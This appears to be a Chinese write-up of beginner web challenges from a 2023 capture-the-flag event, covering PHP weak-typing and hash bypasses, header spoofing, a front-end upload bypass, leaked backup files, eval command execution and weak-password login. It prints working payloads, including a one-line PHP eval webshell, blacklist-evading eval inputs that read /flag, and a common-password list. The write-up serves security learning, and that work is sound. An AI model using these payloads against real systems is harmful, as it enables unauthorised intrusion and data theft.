ErrorFlask
进入题目首先要求以GET方式传参:
http://ec7fe482-428e-4978-8b2c-4016472b07a7.node4.buuoj.cn:81/index.php?ctf=ok
- 考点:Flask报错界面信息泄露
- FLAG:动态FLAG
- 解题步骤提示输入number1和number2,我们随便给其中一个传入数组就会发现 成功获取flag
Begin of HTTP
- 考点:HTTP常见请求头、HTTP请求方式
- FLAG:动态FLAG
- 解题步骤
接着要求以POST方式传递secret参数,并且secret参数的值是固定的: 右键查看页面源代码可以看到base64编码后的secret值: base64解码得到
n3wst4rCTF2023g00000d
使用HackBar发送secret: 添加X-Real-IP头,值为127.0.0.1,获得Flag:
Begin of PHP
- 考点:PHP弱类型、PHP加密函数数组绕过、PHP函数特性、变量覆盖漏洞
- FLAG:动态FLAG
- 解题步骤
题目分为五个关卡。第一关主要考察PHP中md5弱类型比较的特点,只需要找到两个值不同但md5值以0e开头的字符串即可通过本关,原理是0e在进行弱类型比较时会被当作科学计数法进行比较。
if(isset($_GET['key1']) && isset($_GET['key2'])){ echo "=Level 1=<br>"; if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){ $flag1 = True; }else{ die("nope,this is level 1"); } }
构造Payload如下:key1=QNKCDZO&key2=240610708
第二关主要考察PHP哈希函数的特性,在处理数组类型的传参时,md5、sha1等哈希函数会返回NULL值,由此可以构造出NULL===NULL从而通过判断。
if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}
构造Payload如下:
key1=QNKCDZO&key2=240610708 POST-DATA: key3[]=1
第三关主要考察strcmp函数特性,如果传入的参数为数组类型,该函数就会返回NULL值,构造NULL==0从而通过判断
if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}
构造Payload如下:
key1=QNKCDZO&key2=240610708&key4[]=2 POST-DATA: key3[]=1
第四关主要考察is_numeric函数特性,在传入的数字后加入任意字母即可通过本层的判断。
if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}
构造Payload如下:
key1=QNKCDZO&key2=240610708&key4[]=2&key5=2024a POST-DATA: key3[]=1
第五关考察extract函数导致的变量覆盖漏洞,这里的if判断只要保证传入变量flag5即可,根据上面的正则限制,变量值不能为字母和数字,那么传入一个任意符号即可通过本层。
if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}
构造Payload如下:
key1=QNKCDZO&key2=240610708&key4[]=2&key5=2024a POST-DATA: key3[]=1&flag5=?
Begin of Upload
- 考点:PHP文件上传漏洞
- FLAG:动态FLAG
- 解题步骤
本题主要考察PHP文件上传漏洞的前端校验绕过
编写含有一句话木马的文件命名为1.php内容为
<?php
@eval($_POST['1']);
echo "it is ok";?>
点击上传文件,会弹出
想到题目是使用JavaScript对文件拓展名进行限制
打开浏览器设置禁用js 再次上传,得到上传文件的路径
访问路径 url/upload/1.php
然后命令执行得到flag
泄漏的秘密
- 考点:敏感文件泄漏
- FLAG:flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}
- 解题步骤
本题主要考察敏感文件泄漏,robots.txt文件中可以获得第一段Flag: www.zip备份文件存在泄漏,index.php的变量中可以获得第二部分Flag:
R!C!E!
- 考点:md5碰撞、PHP特殊符号传参、PHP命令执行、黑名单绕过
- FLAG:动态FLAG
- 解题步骤
首先题目要求 POST 传入一个 password ,password 的 hash 前六位为 c4d038,而哈希加密是一种不可破解的算法,我们只能通过碰撞来尝试获取我们需要的 password。
substr($password,0,6)==="c4d038"
可以写一个简单的 python 脚本来进行碰撞,先尝试简单的数字组合,看是否有符合条件的值
import hashlib
def crack(pre):
for i in range(0, 999999):
if (hashlib.md5(str(i).encode("UTF-8")).hexdigest())[0:6] == str(pre):
print(i)
break
crack("c4d038")
运行结果是114514,得到了密码。
再看下一个传参,可以发现这个变量名有下划线也有点。
$code=$_POST['e_v.a.l'];
这时候如果直接按这个变量名来传参,php 是无法接收到这个值的,具体原因是 php 会自动把一些不合法的字符转化为下划线(注:php8以下),比如这个点就会被转换为下划线,另外这种转换只会发生一次。故直接传相当于传的变量名为 e_v_a.l 。具体转换可以参考下图:
于是为了防止我们的点被自动转换,我们可以先让第一个下划线位置为不合法字符,从而转换为下划线,不会再转换后面的点。比如可以传入 e[v.a.l 。
最后看命令执行部分,这里是有一个黑名单的过滤:
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
可以看到是禁止了 system 函数,可以采用 php 自带的函数来达到一样的效果,先使用 scandir 看一下目录,注意 scandir 是不会回显输出的,记得加上 var_dump。
e[v.a.l=var_dump(scandir('/'));
看到了 flag 在根目录下。但是黑名单过滤了 flag 关键字,我们没法直接读取,于是可以使用参数逃逸绕过限制:
POST:password=114514&e[v.a.l=var_dump(file_get_contents($_POST['a']));&a=/flag
获得flag
EasyLogin
- 考点:弱口令登录、HTTP 302 跳转抓包
- FLAG:动态FLAG
- 解题步骤
进入之后是一个登录界面,先随便注册一个账号登进去看看。
Ctrl
C
和Ctrl
D
回到 Shell,简单看了下目录结构没有什么东西,只告知了含有一个 admin 用户,按方向上键可以查询Bash历史记录。
发现 Hint,得知 admin 的密码为弱密码加上newstarnewstar2023
后其中的一个。
按CtrlD
或者输入exit
后回车回到登录界面。
试一下newstar
newstar2023
,没登进去,在网上随便搜弱密码,试一些常见的,试出来是qwe123
,不同的靶机密码可能不一样。
提示:题目采用的弱密码表
123456789
password
newstar
newstar2023
123qwe
qwe123
qwertyuiop
asdfghjkl
zxcvbnm
admin123
admin888
111111
000000
查询历史记录只提示了使用BurpSuite
,尝试抓包。
使用BurpSuite
拦截、开启代理,重新完成一次登录,发现一个/passport
的 302 跳转,查看它的响应获取 flag.